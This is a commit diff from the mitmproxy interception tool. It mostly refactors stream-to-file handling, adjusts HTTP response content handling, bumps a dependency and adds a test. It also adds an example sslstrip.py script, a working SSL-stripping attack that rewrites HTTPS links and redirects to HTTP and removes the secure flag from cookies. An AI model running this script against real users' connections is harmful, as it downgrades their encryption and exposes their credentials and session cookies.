aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--examples/redirect_requests.py4
-rw-r--r--examples/sslstrip.py40
-rw-r--r--libmproxy/console/__init__.py9
-rw-r--r--libmproxy/dump.py12
-rw-r--r--libmproxy/flow.py12
-rw-r--r--libmproxy/protocol/http.py6
-rw-r--r--libmproxy/web/__init__.py10
-rw-r--r--setup.py2
-rw-r--r--test/test_protocol_http.py8
9 files changed, 80 insertions, 23 deletions
diff --git a/examples/redirect_requests.py b/examples/redirect_requests.py
index 5cc81633..a3145083 100644
--- a/examples/redirect_requests.py
+++ b/examples/redirect_requests.py
@@ -12,11 +12,11 @@ def request(context, flow):
# Method 1: Answer with a locally generated response
if flow.request.pretty_host.endswith("example.com"):
resp = HTTPResponse(
- [1, 1], 200, "OK",
+ "HTTP/1.1", 200, "OK",
Headers(Content_Type="text/html"),
"helloworld")
flow.reply(resp)
# Method 2: Redirect the request to a different server
if flow.request.pretty_host.endswith("example.org"):
- flow.request.host = "mitmproxy.org" \ No newline at end of file
+ flow.request.host = "mitmproxy.org"
diff --git a/examples/sslstrip.py b/examples/sslstrip.py
new file mode 100644
index 00000000..369427a2
--- /dev/null
+++ b/examples/sslstrip.py
@@ -0,0 +1,40 @@
+from netlib.http import decoded
+import re
+from six.moves import urllib
+
+def start(context, argv) :
+
+ #set of SSL/TLS capable hosts
+ context.secure_hosts = set()
+
+def request(context, flow) :
+
+ flow.request.headers.pop('If-Modified-Since', None)
+ flow.request.headers.pop('Cache-Control', None)
+
+ #proxy connections to SSL-enabled hosts
+ if flow.request.pretty_host in context.secure_hosts :
+ flow.request.scheme = 'https'
+ flow.request.port = 443
+
+def response(context, flow) :
+
+ with decoded(flow.response) :
+ flow.request.headers.pop('Strict-Transport-Security', None)
+ flow.request.headers.pop('Public-Key-Pins', None)
+
+ #strip links in response body
+ flow.response.content = flow.response.content.replace('https://', 'http://')
+
+ #strip links in 'Location' header
+ if flow.response.headers.get('Location','').startswith('https://'):
+ location = flow.response.headers['Location']
+ hostname = urllib.parse.urlparse(location).hostname
+ if hostname:
+ context.secure_hosts.add(hostname)
+ flow.response.headers['Location'] = location.replace('https://', 'http://', 1)
+
+ #strip secure flag from 'Set-Cookie' headers
+ cookies = flow.response.headers.get_all('Set-Cookie')
+ cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]
+ flow.response.headers.set_all('Set-Cookie', cookies)
diff --git a/libmproxy/console/__init__.py b/libmproxy/console/__init__.py
index cef2013e..31edca81 100644
--- a/libmproxy/console/__init__.py
+++ b/libmproxy/console/__init__.py
@@ -290,15 +290,6 @@ class ConsoleMaster(flow.FlowMaster):
self.loop.widget = window
self.loop.draw_screen()
- def start_stream_to_path(self, path, mode="wb"):
- path = os.path.expanduser(path)
- try:
- f = file(path, mode)
- self.start_stream(f, None)
- except IOError as v:
- return str(v)
- self.stream_path = path
-
def _run_script_method(self, method, s, f):
status, val = s.run(method, f)
if val:
diff --git a/libmproxy/dump.py b/libmproxy/dump.py
index 22a2b75c..c2a3268a 100644
--- a/libmproxy/dump.py
+++ b/libmproxy/dump.py
@@ -85,12 +85,12 @@ class DumpMaster(flow.FlowMaster):
self.set_stickyauth(options.stickyauth)
if options.outfile:
- path = os.path.expanduser(options.outfile[0])
- try:
- f = open(path, options.outfile[1])
- self.start_stream(f, self.filt)
- except IOError as v:
- raise DumpError(v.strerror)
+ err = self.start_stream_to_path(
+ options.outfile[0],
+ options.outfile[1]
+ )
+ if err:
+ raise DumpError(err)
if options.replacements:
for i in options.replacements:
diff --git a/libmproxy/flow.py b/libmproxy/flow.py
index 9815a298..8e066191 100644
--- a/libmproxy/flow.py
+++ b/libmproxy/flow.py
@@ -665,7 +665,7 @@ class FlowMaster(controller.Master):
self.add_event("Script error:\n" + str(e), "error")
script.reloader.unwatch(script_obj)
self.scripts.remove(script_obj)
-
+
def load_script(self, command, use_reloader=False):
"""
Loads a script. Returns an error description if something went
@@ -1070,6 +1070,16 @@ class FlowMaster(controller.Master):
self.stream.fo.close()
self.stream = None
+ def start_stream_to_path(self, path, mode="wb"):
+ path = os.path.expanduser(path)
+ try:
+ f = file(path, mode)
+ self.start_stream(f, None)
+ except IOError as v:
+ return str(v)
+ self.stream_path = path
+
+
def read_flows_from_paths(paths):
"""
Given a list of filepaths, read all flows and return a list of them.
diff --git a/libmproxy/protocol/http.py b/libmproxy/protocol/http.py
index d3fd4b37..d72adc37 100644
--- a/libmproxy/protocol/http.py
+++ b/libmproxy/protocol/http.py
@@ -53,7 +53,7 @@ class _StreamingHttpLayer(_HttpLayer):
def read_response(self, request):
response = self.read_response_headers()
- response.content = b"".join(
+ response.data.content = b"".join(
self.read_response_body(request, response)
)
return response
@@ -469,9 +469,9 @@ class HttpLayer(Layer):
if self.supports_streaming:
if flow.response.stream:
- flow.response.content = CONTENT_MISSING
+ flow.response.data.content = CONTENT_MISSING
else:
- flow.response.content = b"".join(self.read_response_body(
+ flow.response.data.content = b"".join(self.read_response_body(
flow.request,
flow.response
))
diff --git a/libmproxy/web/__init__.py b/libmproxy/web/__init__.py
index a0af7315..90da6ffe 100644
--- a/libmproxy/web/__init__.py
+++ b/libmproxy/web/__init__.py
@@ -134,6 +134,16 @@ class WebMaster(flow.FlowMaster):
"Could not read flow file: %s" % v,
"error"
)
+
+ if options.outfile:
+ err = self.start_stream_to_path(
+ options.outfile[0],
+ options.outfile[1]
+ )
+ if err:
+ print >> sys.stderr, "Stream file error:", err
+ sys.exit(1)
+
if self.options.app:
self.start_app(self.options.app_host, self.options.app_port)
diff --git a/setup.py b/setup.py
index a5963807..29ac4753 100644
--- a/setup.py
+++ b/setup.py
@@ -26,7 +26,7 @@ deps = {
"construct>=2.5.2, <2.6",
"six>=1.10.0, <1.11",
"lxml==3.4.4", # there are no Windows wheels for newer versions, so we pin this.
- "Pillow>=3.0.0, <3.1",
+ "Pillow>=3.0.0, <3.2",
"watchdog>=0.8.3, <0.9",
}
# A script -> additional dependencies dict.
diff --git a/test/test_protocol_http.py b/test/test_protocol_http.py
index 8c843d73..1f0386b4 100644
--- a/test/test_protocol_http.py
+++ b/test/test_protocol_http.py
@@ -1,7 +1,6 @@
import socket
from io import BytesIO
from netlib.exceptions import HttpSyntaxException
-
from netlib.http import http1
from netlib.tcp import TCPClient
from netlib.tutils import treq, raises
@@ -82,3 +81,10 @@ class TestExpectHeader(tservers.HTTPProxTest):
assert resp.status_code == 200
client.finish()
+
+
+class TestHeadContentLength(tservers.HTTPProxTest):
+ def test_head_content_length(self):
+ p = self.pathoc()
+ resp = p.request("""head:'%s/p/200:h"Content-Length"="42"'""" % self.server.urlbase)
+ assert resp.headers["Content-Length"] == "42" \ No newline at end of file